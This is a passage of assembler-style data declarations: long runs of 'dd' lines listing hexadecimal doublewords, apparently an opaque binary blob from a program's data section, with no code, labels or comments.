		dd 80941168h, 8CE49539h, 151F0448h, 0F7FAE30Fh,	0B3C50360h
		dd 0B030A428h, 980FED04h, 64270h, 4A557A7Eh, 119934Fh
		dd 0AA230492h, 20DB7326h, 6780F30Ch, 0F55F4072h, 8060AB58h
		dd 3EA67648h, 20C4FD4h,	58D7694Ch, 7150B03h, 381766F9h
		dd 4E804F9Bh, 7BAA523Dh, 0F9261B06h, 2531EB01h,	38974A3Fh
		dd 0A4802F11h, 5E75E4BDh, 50AF1226h, 772E699Ch,	0FC527616h
		dd 89EB2038h, 0E0C07694h, 3A01A6B9h, 130A6AD9h,	4AA80563h
		dd 4AC11A8h, 0F7D70261h, 0F9AA94A0h, 0A0B16708h, 820D8684h
		dd 9E89F901h, 90283Dh, 84875231h, 3025D3ABh, 11C191F5h
		dd 924CA55Fh, 0C28000C4h, 7A79E3D9h, 7168CCF0h,	1724DEB0h
		dd 4821DCA0h, 44021132h, 646376ECh, 0B27E89DCh,	0F5702228h
		dd 50E0E0DBh, 0BDD4000Fh, 7DFA6AA9h, 6404C351h,	698A89C1h
		dd 3BF214E2h, 329D130h,	0A2A69AE0h, 3DA07A51h, 0F04B0A20h
		dd 4A276820h, 5B73E6h, 4F497522h, 88FAEEB1h, 1010C958h
		dd 1309FBDDh, 344594D5h, 1811EFC2h, 71001E0Fh, 0C8702F90h
		dd 916FB569h, 793101F0h, 4001AF02h, 0DD8ECBC8h,	810A6CB6h
		dd 6211C854h, 59FC480Dh, 6C58E259h, 474E34Ch, 0D45D6B25h
		dd 98844CEh, 4FEF62C0h,	0E9D000B5h, 0FF30E791h,	0AE48DDF5h
		dd 2D8EE124h, 0C450EC3Ch, 911F4127h, 19257BA8h,	0E882420h
		dd 1001176Dh, 0F1E57592h, 7C2816B3h, 31DEDD84h,	0A0698649h
		dd 0AF01AC23h, 50F67A19h, 3E887C18h, 27190756h,	1F64AEC9h
		dd 61BEF7E0h, 5CA10560h, 0FC49F86Bh, 2838ACA1h,	0CE5A090Ch
		dd 0E6E58161h, 4C6032DAh, 0C215440Ah, 0A4646D1Eh, 0E237B4C0h
		dd 24986EB7h, 2260A656h, 0D1BCB1B8h, 1E011890h,	42C6EA4Dh
		dd 1662B5B8h, 0BD09890h, 6578FD0Bh, 0D5C42252h,	41AE8E12h
		dd 0B55AA24h, 10001039h, 79980326h, 0EC0058FBh,	9E1B968Fh
		dd 0A6B2D5Ch, 3C8C1653h, 80639154h, 7D09DCC7h, 0A71C87ADh
		dd 3B64DC80h, 77D16928h, 1C2D249Fh, 74C8CAA0h, 322D2E47h
		dd 0EC60E489h, 995BE025h, 7723982Eh, 4AE3F800h,	24CCB1FDh
		dd 80A8EA7Bh, 89E731D1h, 0EB802A12h, 0FD192296h, 0E8E0FF48h
		dd 5F018CFBh, 0AB35034Ah, 86D8D90Ch, 730E276Fh,	0DC9B801h
		dd 26D043EBh, 7A106688h, 7241B801h, 0C3865983h,	0A8008C38h
		dd 0E80CF432h, 4A285679h, 0C005A493h, 913F52CCh, 79D19C0Ch
		dd 624813EEh, 0DAB44555h, 2C38D8AEh, 0F11B2E30h, 184BFBA8h
		dd 6975DE77h, 9200C4F4h, 97812658h, 72763850h, 29391F19h
		dd 0B716CFB8h, 0BDB90BC0h, 0DE00E271h, 0FE4C9C5h, 1DAA3276h
		dd 141EA1h, 7FF6F2BAh, 9307BF8Eh, 0EB97B3E1h, 0FF42DA83h
		dd 0AB17FEC1h, 0FA3BF020h, 3DD100CBh, 3122ECC9h, 0B000C737h
		dd 0BE9342B3h, 70201EC5h, 7A33004Ah, 1792D5D4h,	300B6732h
		dd 6802135Ch, 2650B60h,	66252C10h, 34720360h, 249216F8h
		dd 2C692001h, 3EDA39D9h, 2E83F4h, 7A99148Bh, 71F6A67Eh
		dd 6120CCA4h, 5CFC18DCh, 0E502415Fh, 181F94A3h,	0F9D3FED6h
		dd 71FCD491h, 31000032h, 2D0B6C4Ah, 0CF7C11E7h,	1393A0C7h
		dd 23058291h, 8C6CFC74h
		dd 36DCC002h, 653DC57Dh, 0A980B8B8h, 89D05EDCh,	8706D3F3h
		dd 6A9588E8h, 0F014B120h, 2D8611F7h, 1810DDEEh,	1A0CAA62h
		dd 501343ABh, 7A058C31h, 556BCDECh, 0B300588Eh,	6F13EC62h
		dd 0F901C1A4h, 947ABF4Fh, 0E0403053h, 3D5B0F0Eh, 4285933Bh
		dd 0D0EA5E7Eh, 0A4EBDA88h, 2B10DF0Ch, 961ED1F8h, 1A6C8E90h
		dd 3369FE1h, 6DA7FC1Dh,	0F3BD161Eh, 1215AF17h, 0C07048D8h
		dd 5DB2516Ah, 19AB00EBh, 8A0E2555h, 67EBAECh, 4E70C105h
		dd 8CF28365h, 4A3026F2h, 97E500CEh, 0ED353E6Dh,	450031C1h
		dd 55C67425h, 78E7E451h, 59D09E6Fh, 0C4222AB2h,	19CB30C0h
		dd 30F66608h, 526A58C2h, 0D14C1900h, 67809D72h,	20F04568h
		dd 4658F954h, 0F54E50ACh, 72CDF51h, 557E90BCh, 3109A31Fh
		dd 4B5FFB38h, 4CE2C550h, 28643400h, 0A7F635BDh,	997BA103h
		dd 94F04A7Ch, 0B1480C0h, 0B239C257h, 0FCF01A03h, 90E8AD5Ch
		dd 8C1DC0C0h, 0F0F076Ah, 4ECC5D17h, 67BD403Fh, 0FFB42554h
		dd 0AA0D567Ch, 81962810h, 5FCE4EF0h, 8FC05E02h,	0E7C138ADh
		dd 7237AEEAh, 5FDA0254h, 590CD82Ah, 606244A4h, 1008DCBAh
		dd 0C83DB57Dh, 0C3468091h, 2E2BA1DCh, 9FF60F14h, 1E733E44h
		dd 0A0AA5382h, 0AF312100h, 0F93DBE41h, 250724F1h, 80FC2438h
		dd 2D1E1B0Ah, 395B88Ah,	81DD1D64h, 1C32F836h, 1EB1104h
		dd 0F2ECC5BDh, 0F1B09A4h, 0C1B0CAFEh, 0CA1216D0h, 0A300DCE4h
		dd 63DCABDBh, 0B6C5575h, 0A14E7D9Eh, 0F0D30841h, 962FF585h
		dd 87014ACh, 0EF09A6CBh, 73234801h, 90EC5DFFh, 25BD02ABh
		dd 0FE5BDE71h, 0B791845Ch, 6519C680h, 0C25C98F6h, 516DB09Ch
		dd 0C54D0A19h, 7EC3633h, 0AB04F180h, 0FB05F468h, 5D626C00h
		dd 0B0A65E92h, 40D0B6B7h, 0A8A23E4Bh, 0B771C00h, 91305540h
		dd 132DEEEEh, 8B99D3D9h, 0C37588BCh, 0BD913018h, 8CD7D872h
		dd 0DDFE7C02h, 265E557h, 0B89005AFh, 0F100461Fh, 56D3D67Dh
		dd 39AD7D8h, 3B4A7BCFh,	5C8888B7h, 1F4A6331h, 0B3DE0421h
		dd 1C02C46Ch, 3D93F26h,	9C3DF072h, 0E3E92ABh, 0BE69FC38h
		dd 6C7E40B4h, 0F6601C33h, 2D57AA59h, 0CE3200DFh, 10C6675Dh
		dd 0BB0054D1h, 0C024357Bh, 0CF4F79h, 25814A7Eh,	0FD2A10AEh
		dd 7AFC79C2h, 0A2E84413h, 0EDC41D4h, 0EC0B7B18h, 0C56D6BAEh
		dd 639C8768h, 4FF110ECh, 982483C2h, 0EB11244Ch,	55090B75h
		dd 7425DD9Eh, 81B8B274h, 2A0FCED9h, 15B0C39h, 26109624h
		dd 310EF716h, 0A05F9082h, 1E9F0E39h, 0FE7E0EA1h, 14EB7D3Dh
		dd 1B01D418h, 0E82A3200h, 0F4D45204h, 8B7D0063h, 93AFF244h
		dd 617B74A9h, 0AC889C4Bh, 812FFA01h, 0BDD6E45Fh, 975E0425h
		dd 8E779108h, 0E00DEE7Dh, 0CA9FD4C8h, 122D2C2Ah, 76FC8BFCh
		dd 2F10F410h, 56B41095h, 508195C9h, 0E07DBAC0h,	3C90AAB9h
		dd 29BECA07h, 1ED13F25h, 54431B33h, 0ADF8C3DFh,	4688088Eh
		dd 0B8124BC3h, 427E786h, 0DAEF28Bh, 79D4E00Ch, 4131A20h
		dd 5433616Eh, 63FCB3A8h, 0AFCA08h, 5A789B51h, 127FE51Eh
		dd 0C04CFA00h, 0AE3C6061h, 244890C2h, 0CC3471F8h, 3D5B6118h
		dd 54EA40C0h, 9830483Fh, 9331DE22h, 5F6B3817h, 40A63C38h
		dd 0A005A124h, 902FF843h, 347EBA39h, 839967C7h,	0F4ACF5C8h
		dd 0CD1831E8h, 30512116h, 16AF5C2Dh, 0B4D54004h, 0A601AA4Fh
		dd 9761F366h, 496ED9C0h, 0C5030C6Bh, 0F1686332h, 0E4C8A14Ah
		dd 386E0797h, 54F529Fh,	0A248E3E2h, 0AFB53046h,	67FC4404h
		dd 18C2FDA9h, 763CF81Fh, 9E6F1648h, 0E5D08146h,	26A82469h
		dd 29A98209h, 0F1947186h, 9E00190Eh, 163C835Bh,	0DA97E6Dh
		dd 4161D154h, 1687134h,	78E68A79h, 0A92A0918h, 9C798648h
		dd 8611FB78h, 0ED304B00h, 0AAC350A4h, 6A61D51h,	0B2E4223h
		dd 14487E2Fh, 26013452h, 4705AC2Bh, 41C04DA8h, 1FDC91C8h
		dd 15FF0135h, 0E8F00B2Fh, 0CE255290h, 1CFCE623h, 0B704DDEh
		dd 0FC2602A7h, 6098881Fh, 5C0AF320h, 0C0091CEAh, 0C8416A07h
		dd 0DB8DC425h, 0E5F89963h, 0C235E201h, 8850C0h,	0AA228B63h
		dd 9DAD2555h, 2FB08095h, 5932FAC1h, 0D1B84096h,	0B9B41C0Fh
		dd 2FC13E90h, 0EC1AD33Eh, 63B79C52h, 0EE9990EEh, 0B236009Ch
		dd 934AA615h, 0F010811h, 0F1E1A497h, 0A8A537BDh, 21B83897h
		dd 13DC8410h, 0AF308119h, 8C3B3A2Dh, 5F0F22Bh, 800759A0h
		dd 0AD7B6230h, 9156CE80h, 1991D150h, 91484EF3h,	0F8E3C51Ch
		dd 0A0C0235Bh, 2C13170Bh, 5EB0B625h, 1B042546h,	8035C10Ah
		dd 77D29ADDh, 4A20D898h, 346D4BBEh, 23A82E90h, 99B010Ah
		dd 0E4C0831Dh, 7A17E2E4h, 986F8A1Ah, 9C7A5707h,	0A05FD0F5h
		dd 6807E8BBh, 5867E25h,	609D3750h, 9350A07Bh, 0BCE177ABh
		dd 58668978h, 5311E8D9h, 0B8273580h, 44BC24AAh,	23F9F58h
		dd 94F5B627h, 0D4527AFBh, 262ED498h, 0DD136CCBh, 0F52474C0h
		dd 258B1E88h, 95878D1Dh, 50353B18h, 49B228F2h, 0FC12130h
		dd 0AB4BF8F6h, 80934F6Fh, 29FD12B4h, 0F7AF440h,	0EF6FEC5Eh
		dd 89E3CE80h, 0F49EFC5Ah, 0DC30B117h, 0E79CA28h, 0CB316A2Dh
		dd 7F727620h, 37007ED3h, 0C00B0117h, 6E0E2D02h,	0CA0058E3h
		dd 1252AC3Dh, 66DEECA8h, 5619FE2Fh, 7183025Dh, 24E6509Ch
		dd 7235D111h, 0BE9C7726h, 0CC666715h, 0E80CAF00h, 0BD86F327h
		dd 695A1C9Ah, 3900E86Eh, 0FF7B1779h, 4F2E3A51h,	2F11B04Dh
		dd 8CA0CA2Dh, 382DC605h, 7355462Ch, 43C5B300h, 0D49F1Ah
		dd 22FEB995h, 254BC871h, 91E4979Dh, 57009FEFh, 69256676h
		dd 0F28A005Ch, 0F3C99533h, 0AA2C275Dh, 0A0409C1Eh, 0FAAB3753h
		dd 0E1C33F80h, 0A05A0212h, 0E09616D8h, 0B1B8DF80h, 543D5CAh
		dd 7976678Ah, 2E6800B4h, 8357276Fh, 730F7201h, 6066C19Eh
		dd 457C74D2h, 0B17CF697h, 0EF706450h, 2F7102CEh, 11D72B94h
		dd 2EE07846h, 0FDEF910Fh, 259FC05Bh, 0B2599671h, 1D8128D4h
		dd 0F76D0074h, 0E3EC253Ch, 6303F0D6h, 6B21AC5Ch, 11512E3Eh
		dd 0C07DE14h, 498CC1BCh, 5F041C44h, 5404130Bh, 0F505A9B3h
		dd 802C1291h, 31EEAE0h,	0A186710Ch, 1224B1FCh, 14FD0AAEh
		dd 0CC167845h, 0CBEC5393h, 0A02BDC08h, 2665AF01h, 5EDDFE48h
		dd 1068003Fh, 1A924D53h, 0BC40749Ch, 0A88497F5h, 0A8FC19F8h
		dd 70F3FCh, 5A2E377Dh, 0DA74561Eh, 0F14A6600h, 0E48058F2h
		dd 10AE008Fh, 0BB869025h, 7F0063AFh, 3DD2059Eh,	4CC4FDF6h
		dd 77E8345Fh, 56B7A8Ch,	70CCA129h, 15348080h, 24BA03F2h
		dd 19A92604h, 38D0C956h, 269D9FA6h, 74A8F00Ah, 0A2F18EFh
		dd 5805E626h, 0C8CD13C3h, 441E4790h, 0DBC0B73Dh, 0D58E6BC5h
		dd 222AE175h, 60303B04h, 6BCB14ECh, 70E7CC45h, 0DA2DEC68h
		dd 1E1CA50Ch, 3739DDh, 2843EF36h, 711DA126h, 931B19C0h
		dd 0B0F5603Ch, 0CA10F1D4h, 0ED26B673h, 0E7026803h, 8AF31B01h
		dd 7B08408Ch, 0C95A3EDCh, 0EB188894h, 0F65B42DDh, 9F371882h
		dd 6FF4EA07h, 18B1D4D7h, 106B872Dh, 0B4403C08h,	0ECE54152h
		dd 48A06CE3h, 0EE18D1C9h, 0D6B9F41Dh, 7B2E00D7h, 4F1EC0B5h
		dd 9B4B6309h, 9BC0C09Ah, 0AA81EEE9h, 0CF507EECh, 0A60969F8h
		dd 0C5F7796Ah, 11EDE290h, 726A9018h, 5E75002Fh,	0F00CC5E6h
		dd 815DE07Dh, 8C06A830h, 0BB131604h, 80E23B01h,	8D8A2500h
		dd 5BA507D6h, 0EC21EE01h, 7432F53Fh, 90D8A2FBh,	0E569E7B0h
		dd 0E293A474h, 0E38004B4h, 0D0E6BDA6h, 6ACDBF10h, 9F079090h
		dd 0B9643398h, 0BA402470h
		dd 658B33F1h, 60DC2210h, 10B4BD38h, 6662E0Ch, 9DB64035h
		dd 0C834B741h, 14808F2Eh, 7A467Ch, 7ED6D0C6h, 924F68Ah
		dd 261A79A9h, 34D36709h, 0A42D1701h, 34232771h,	0B91FF079h
		dd 187AD1CCh, 612E0062h, 4B678479h, 315C4348h, 0F56C4194h
		dd 0F84DE09Eh, 4403622Ah, 9548D177h, 8C06E8E8h,	3BD8A504h
		dd 1CCC55B9h, 0C8891CF7h, 90663033h, 0FC52A3D1h, 300AE230h
		dd 36007872h, 0BC64FF96h, 4FF53B9Ch, 7EECC8DEh,	0E0B4A612h
		dd 4CDACC00h, 252831C6h, 58A01E1Dh, 157E37ACh, 0B1972F00h
		dd 236C41Ah, 199D036Eh,	428B915Ah, 1099B0F0h, 0C4342D2Ah
		dd 865EB202h, 7EFB7D57h, 704674E8h, 1CB77C00h, 7E67BB61h
		dd 0E62754B9h, 841930E4h, 0C9D61C71h, 23F04705h, 448805B0h
		dd 0C76A3B69h, 30A33200h, 0D294C8DCh, 0E9EE8419h, 1EAF728h
		dd 7A301725h, 1BCC820h,	0BEA90051h, 0AB5A6E2Dh,	5D00D607h
		dd 86960BB7h, 0A17AA68h, 3193C453h, 22DE1080h, 5F2E0432h
		dd 257CEF86h, 4923482Eh, 4EAA7B00h, 27B125A5h, 0BCA00B24h
		dd 6712CEAh, 4FCB641Ch,	0A94886C0h, 9E59C993h, 0F84D2720h
		dd 62B2D9C0h, 15710835h, 8500EE1Eh, 9AD2FED5h, 6C6D00BDh
		dd 0D35ECEB0h, 0F4007A3Ah, 0C459568Dh, 4BA7FCABh, 234C3E89h
		dd 8E410039h, 3C91C569h, 6D6C4A0Eh, 2090131Ah, 0B0B3CDAAh
		dd 183F0009h, 9AB169Ch,	0C800D2AEh, 0B61B274h, 0CCD31D1h
		dd 95E71793h, 0FA501E39h, 0D4033264h, 84BC6F4Ch, 8B3AC060h
		dd 0A7D4A1C1h, 0F2308414h, 0F9F6830Ch, 0F95B93ECh, 0B0251B1Eh
		dd 0B9B8CC2Dh, 34A68D90h, 0E2D98300h, 3AF38797h, 3D470059h
		dd 6A581EE5h, 9AEC819Dh, 7F6B9302h, 52D5DEF4h, 4A580004h
		dd 9AB3FE7Eh, 7A094D94h, 0E3E74Eh, 0F46331E4h, 12931C24h
		dd 0F5C94926h, 0B5953852h, 3FBB8394h, 18881498h, 9B7C4F0Ah
		dd 6D906463h, 6E285AE7h, 0B70D00B0h, 58B68799h,	0C8AA4ABAh
		dd 0E009240h, 24E8E313h, 0B066AB90h, 8BA8E878h,	96F0D186h
		dd 7F83FC0Eh, 93F008Ah,	16959325h, 0A7714C51h, 0A30DA06Ch
		dd 63321072h, 0A9268005h, 0C1761C51h, 9093B258h, 5C73A0h
		dd 5E9B9E0h, 0EE27078Dh, 61FCEDC2h, 72A998D8h, 4C76E8B5h
		dd 0BE22C0C5h, 4EB84870h, 56A3FE03h, 0A179815Dh, 603BE07Ah
		dd 12E9F530h, 61E29700h, 0C5F4EE80h, 5C033FFDh,	26DE711Dh
		dd 74982E34h, 0D9047B46h, 0E2B809DBh, 30A40034h, 7D18413Fh
		dd 7CBB0793h, 4004B35Dh, 8D5A20BDh, 3C7A5516h, 0C00760F2h
		dd 911A44F1h, 70FB21E7h, 999D6C95h, 7D0B30h, 0E5F6DB00h
		dd 0B5093732h, 0E37C6300h, 0CDFA46F9h, 0A993249Fh, 0DA9716D0h
		dd 466DC048h, 27CFC8FEh, 24643007h, 328C4000h, 10AC8272h
		dd 1D8B9E3h, 71B27323h,	7DA03153h, 76F3004Ch, 66F8EDA4h
		dd 19D80005h, 6C12F5CEh, 4A5E1B60h, 3A88508Bh, 0CE43E2C0h
		dd 0A55F14B0h, 0BB809C05h, 0F8EFFCBDh, 1CA14C00h, 8C434C1h
		dd 795C913Eh, 19180Ah, 3A62C224h, 88B3644Eh, 9B5C26F8h
		dd 6D972D16h, 0E6846078h, 4F00D17Ah, 0E6397C9h,	0AEEA990h
		dd 0AD91F528h, 2E1C8198h, 6A7BD633h, 0D23102Fh,	677D4700h
		dd 951DCA73h, 0F115B421h, 0FD3EC02Eh, 8F7E4D09h, 11701D5Eh
		dd 79CE8046h, 151081h, 0D526BDF5h, 295EFC77h, 906180B4h
		dd 9B304B86h, 84952EC9h, 0AF39E130h, 0CC3A617Bh, 10BE6F2h
		dd 0F1729060h, 18F2D198h, 951705FCh, 0E875AEF9h, 486828DCh
		dd 0E669107Ch, 0C9682579h, 0F028B0C6h, 18E72471h, 7EF1406Ch
		dd 2E0E50D5h, 0D413312Bh, 430AB848h, 18BC0010h,	0D277320Fh
		dd 0F7A914C0h, 0A326B517h, 0EF467EA4h, 1E325E07h, 0C79F263h
		dd 10FBC841h, 0E0BEBC58h, 0C9EEDDh, 0A1F837C7h,	901B92B5h
		dd 0E4D9A32Ch, 2FE12D1Ch, 4D80A868h, 0BDEA3B77h, 0A60073F2h
		dd 0B1B00774h, 50703D2Ch, 1CFCE896h, 0B4BCB4Dh,	8C24F8A7h
		dd 0CF5888CAh, 3877D6E0h, 98BD16F2h, 70BE4Ch, 5EAFB505h
		dd 797D6CB1h, 3840C94Ah, 1E6745B6h, 0EA021C61h,	33E9C0BFh
		dd 4F681C20h, 68E78E31h, 86F66311h, 54C81B58h, 0EAECF4F3h
		dd 49ECA012h, 0B4FB0656h, 61D6C992h, 0DC28B6h, 532DC95Ch
		dd 47D26F87h, 64A4F012h, 0D1F10020h, 5E730E27h,	4F05AC41h
		dd 9A3091AFh, 31711760h, 8EE46ABCh, 0DD690970h,	0C686E7Ch
		dd 0A4F63004h, 37E72D12h, 5E8D0E0h, 7EAD9334h, 0B4B021A6h
		dd 0D1DEC174h, 2C0B2F89h, 0A34C20CDh, 11C5B24h,	31BE2F10h
		dd 7A933CE7h, 0A6F56008h, 64AA11F0h, 9321D918h,	5481049h
		dd 81330230h, 0AEC81E1Fh, 14C17C20h, 0DF0800CCh, 689D7870h
		dd 2D078D2Ch, 56977138h, 0ED94BBE0h, 0FE332F05h, 1A927460h
		dd 0FBF0680Eh, 7162908Fh, 5F207E94h, 240C252Fh,	0EBC2363h
		dd 86C02409h, 91936F53h, 0F2991605h, 24804D3Bh,	0E8E8E2BCh
		dd 2AAA00C3h, 26FE5240h, 0D4E758D8h, 57037FACh,	7490E4C8h
		dd 0E0F890EEh, 0F1A20F1Bh, 9161234Ch, 0D040DF03h, 0BA0044EFh
		dd 732E4F7Eh, 688C6C0h,	2623F24h, 165BA9D4h, 449274D0h
		dd 0F1E10632h, 21DD7A62h, 0DA9B900Bh, 0D8EC049Fh, 2F43005Eh
		dd 9A264B35h, 273C5072h, 0FDE28F72h, 0E85DE081h, 179B0Bh
		dd 0D632252Ch, 10984D29h, 0DD833F00h, 2BECAD5Ch, 4E823B54h
		dd 0ED860075h, 0C8EFC6E2h, 4A7C53Bh, 5F964057h,	0C700589Fh
		dd 0C9486466h, 3CD26E42h, 0CBB05A10h, 0AF186028h, 0F13A3Eh
		dd 0C3E95879h, 7C9BDD1Ch, 51DF60CFh, 13EDE67Bh,	85678D00h
		dd 54B5251Ch, 5609002Ch, 608CE8A6h, 0C1014348h,	0EB20D2CEh
		dd 4880AFF4h, 61516B50h, 0A801608Eh, 39B57BA4h,	0A980E2CEh
		dd 77B43C53h, 0BC00A292h, 0B03FA54Dh, 115E18C1h, 665082Ah
		dd 0C3E4607Eh, 0EB1D0160h, 25A74D94h, 7C509F74h, 1A0B0D03h
		dd 64B1000Ch, 514118D5h, 6C0295AFh, 502E4C60h, 0CF0880E1h
		dd 0ABE8D1h, 0DB927861h, 0FF2839BAh, 0D6836200h, 0B27820Ah
		dd 0C61E003Ah, 6F63A966h, 950086DFh, 75F9AA24h,	326446Eh
		dd 8893BC52h, 0A8E8A46Dh, 5B018F5Ch, 0F053172Bh, 3F0DE0h
		dd 6935FCA4h, 7F388C33h, 0D74995DDh, 0FB020CBCh, 0F5B80Bh
		dd 824A6ADCh, 0C05531A0h, 3DD2FE0Eh, 0ECC5423h,	63BB9F06h
		dd 0FB03CF3Bh, 0B0F193FBh, 0EB16AE5h, 0D9F29304h, 18603C3Fh
		dd 6012925h, 0C2B48B15h, 2FC2B020h, 0F8DA8092h,	0E86B3Ah
		dd 1AEB8E38h, 0EC802236h, 0EC3C1FF5h, 79BE00C5h, 0AEB04403h
		dd 48C6A00h, 0CFD25BF6h, 171887E8h, 895CC1C0h, 0C21450CEh
		dd 0CA3EC56Fh, 77F5BE0Bh, 0B48ED100h, 0FC2B9199h, 0F371CEh
		dd 0C2FDDC6Eh, 80785DE9h, 8CA34A4h, 0D68F80A8h,	0FAD9139h
		dd 91DB80A0h, 0C539E6h,	0D98E15A7h, 68F4D197h, 0BD008190h
		dd 17998333h, 2480EFC7h, 0BC5442h, 0D4FC0902h, 13244E3Bh
		dd 8403CC67h, 11C20D9Dh, 1141E728h, 0F108FD75h,	0C910C61Dh
		dd 4843A184h, 314B42D1h, 210C0522h, 26DBD8Dh, 63C83FDh
		dd 0F1292834h, 0B8153228h, 85119929h, 0AC182845h, 8BEC4029h
		dd 24B940FCh, 7B12A4B2h, 54ED008Ah, 84A6B4CBh, 0E20006E1h
		dd 0A0AE1CA9h, 9CCA3F8h, 0A5461F0Bh, 0EA810303h, 0A2451680h
		dd 8608B70Fh, 0E19823D3h, 672398EDh, 0E66004Ch,	0BF427CB2h
		dd 0F0001EB1h, 0A5388B01h, 73C9B60Ch, 0B77CF3h,	3A50AE5Ch
		dd 396A7819h, 8894F600h, 4853E623h, 0D50D004Dh,	8D479FBDh
		dd 37003960h, 1D4A219Ah
		dd 4CEAF0C1h, 6C008820h, 0B6A217A3h, 474CBA6Bh,	8D0C0070h
		dd 0F439B08Fh, 0A9D43AB4h, 0F1786A83h, 18008C3Fh, 15F3483Dh
		dd 7D1EB8Bh, 0B40D03E7h, 0EC2AF06Ch, 8E003B20h,	1AD37C41h
		dd 7CD098B1h, 22D5022Ch, 0DBBECF0Bh, 1E92CE0h, 3AFF1930h
		dd 0EA96C5h, 0E592932Eh, 84D2D30Bh, 56352200h, 0F5633ABBh
		dd 0BD4E8EEh, 1B0615E9h, 6403B180h, 0BF3BA40Ch,	97F871Fh
		dd 45306590h, 39B436h, 0CB26B951h, 17281A53h, 2EC37716h
		dd 601B140Eh, 0D1374CE4h, 0A1400C1h, 24B1B58Bh,	8912E53Ch
		dd 1200FBF5h, 13B73ED4h, 1005004Eh, 432E66E4h, 991ED365h
		dd 0B4034DEEh, 9088A1F7h, 0C911Bh, 0ACB93A90h, 4433EC11h
		dd 25D688C0h, 6C26E3h, 1F4A75EFh, 22D2BA86h, 40283300h
		dd 0FBB9F047h, 8B7E0E08h, 0B7209E9Ch, 8FCF8939h, 0A1B69800h
		dd 0D4033011h, 9C34EFE5h, 364D0096h, 5087573Fh,	0F23F0160h
		dd 0C3D98544h, 258741E6h, 58321D20h, 1C19B0FAh,	0C0E4F267h
		dd 4386F76Fh, 6800C0BAh, 0C6FC320Ah, 7BBFED80h,	7110088h
		dd 0A0815A73h, 72004526h, 0EF5CAEB2h, 0BB6002h,	19A3684Dh
		dd 0A086D49Eh, 67784E00h, 0DDD77D5Ch, 0EA1C0FCh, 0A5FDF4F1h
		dd 8EB69600h, 99D24F0Dh, 65FE00FBh, 0A1F8C53Dh,	71EE2C6Ah
		dd 0FCF06000h, 0D54A4D98h, 0E6C60046h, 0A6C4DA2Ah, 97002433h
		dd 0B853AAF7h, 16ACDBh,	2025657Bh, 156858E6h, 1F5CB200h
		dd 0E42E373Ah, 6E52005Ah, 0BF531BA8h, 3006260h,	497F74D2h
		dd 5F2620h, 0DD0F9A38h,	0C4E9A8DCh, 31E16818h, 0D18670h
		dd 879CE2C8h, 0C01AE7FEh, 0B8D3170Eh, 0C044EF5Ah, 2C749560h
		dd 0D81F0CC6h, 0A3406781h, 0CF189901h, 0C9025384h, 0AEC9E30h
		dd 44D4FAEEh, 876D00D4h, 34CC0B7h, 47FD831Ch, 0C088E70Fh
		dd 52868BA9h, 0AC24009Ch, 0E3C5B87Ch, 0ED0E0913h, 2006FB82h
		dd 0BFC8902Eh, 0FE2A507Eh, 57C1149Fh, 8C00F388h, 5AC48249h
		dd 0FC00C68Bh, 9C59CD92h, 39E1A5ADh, 0EB80F8E3h, 9472B030h
		dd 1F00BD64h, 256309EAh, 3FE283C3h, 0B6000AB2h,	3036E51Ch
		dd 0DB7A6DEDh, 0A6CC8102h, 60A0341Bh, 509BA27Ch, 2EFB82Eh
		dd 9A3C4AEEh, 0D161E9ABh, 0E52820B9h, 0FDE29702h, 40FE928Bh
		dd 0F526B3Ch, 552346F5h, 47A0C26Fh, 0D8A246Ch, 0EAB1DA17h
		dd 0ABF08C40h, 726F07h,	0B37613A6h, 1D63AE6Ch, 0AAAD9A00h
		dd 0A152C5B6h, 7D6E0092h, 0DD9C73D0h, 0E200BD38h, 46989DBCh
		dd 2E83FB70h, 6A1969h, 9FDFD609h, 0D8010802h, 28609E42h
		dd 0E320C5BEh, 61170039h, 5D9FAF04h, 9E010DDEh,	64A997E6h
		dd 0E340FE45h, 0F5B81Ch, 8653B48Dh, 0E02803E5h,	5D698103h
		dd 0F8A1C094h, 0F97EA307h, 0C023EAEFh, 0EA9D3580h, 0F8890073h
		dd 29F1F90Ah, 7F00A315h, 0F208A5FFh, 75227B17h,	724C0028h
		dd 15451ED2h, 4A00B52Ah, 59D3D6EDh, 0E8C9DF77h,	0A451000Ah
		dd 2B93B628h, 0AB794631h, 0A2766A00h, 7BFDF6F8h, 520100DDh
		dd 0D7A82B9Eh, 8F017D6Bh, 5D0F38CAh, 9D401ACDh,	710C3A4h
		dd 6C80E2FBh, 42C490B6h, 9D034F36h, 0C90CF5Bh, 8237A0FDh
		dd 930A03E2h, 0A305695Eh, 414EBDE8h, 0BBC12600h, 2B5495B5h
		dd 14E409AFh, 0BD80E6F7h, 71C8641Bh, 0ECBCF200h, 0AA4324FBh
		dd 67BA9h, 8A462B10h, 7E97FADCh, 0D24B9100h, 0D70B3A56h
		dd 0BD390761h, 0C06694BAh, 150301CEh, 1000C676h, 4D9BFDC9h
		dd 39F15D59h, 0CBBEAB85h, 1BAF5704h, 0BB0890CAh, 2C0118DEh
		dd 0BFD7E7Ah, 0C440218Ch, 2AB2BF1h, 0B70AD5B2h,	92405DBDh
		dd 0F403C817h, 18AECD01h, 0FF84B0A6h, 47AD00B0h, 9A50E610h
		dd 0A9005E70h, 429CC516h, 0AF82CCh, 0FFACA4BFh,	640F93B5h
		dd 8258D348h, 60040D51h, 1C35328h, 0C7B6864Ah, 601DDEADh
		dd 6E00B931h, 69A3E77Fh, 1E142E0Dh, 408B87B1h, 0A46AEFE6h
		dd 91000FCAh, 0A0716103h, 412055h, 512D5A0Bh, 48162389h
		dd 6A3E5800h, 7695F6C0h, 8F94006Fh, 0D640324Eh,	33008CA6h
		dd 0C86B754Ch, 98D3E2E9h, 0EACB00F4h, 512834CEh, 430B0578h
		dd 0D7A1BCh, 7EAE8299h,	257E7Bh, 0AFC9D93Eh, 20BCE7F8h
		dd 7CF6C6EAh, 0F4E17D1Eh, 0BB6F5C80h, 14EC437Ah, 0BF68F31Eh
		dd 52639F00h, 91324DE0h, 0BD54CF3Ah, 0D2EB8379h, 0A865D8F0h
		dd 3FD0253Eh, 3F807824h, 7F8B202Bh, 0DB0969ACh,	601C1AD6h
		dd 7E864CCh, 0C58641A6h, 82D90057h, 0C8035B88h,	8DF66A3Ch
		dd 5CABC82Ch, 542903C0h, 0AE81E438h, 5541A4E8h,	42DCD701h
		dd 3F3A947Bh, 0B8EF6474h, 9C5B00ACh, 0A58F134Dh, 930092CBh
		dd 0C3F8A615h, 1EFB165h, 0F3B6A33Dh, 0F05DE207h, 0BB17174Dh
		dd 0E85CDAA8h, 0A96EACDCh, 561DD826h, 1858A200h, 4D24EBh
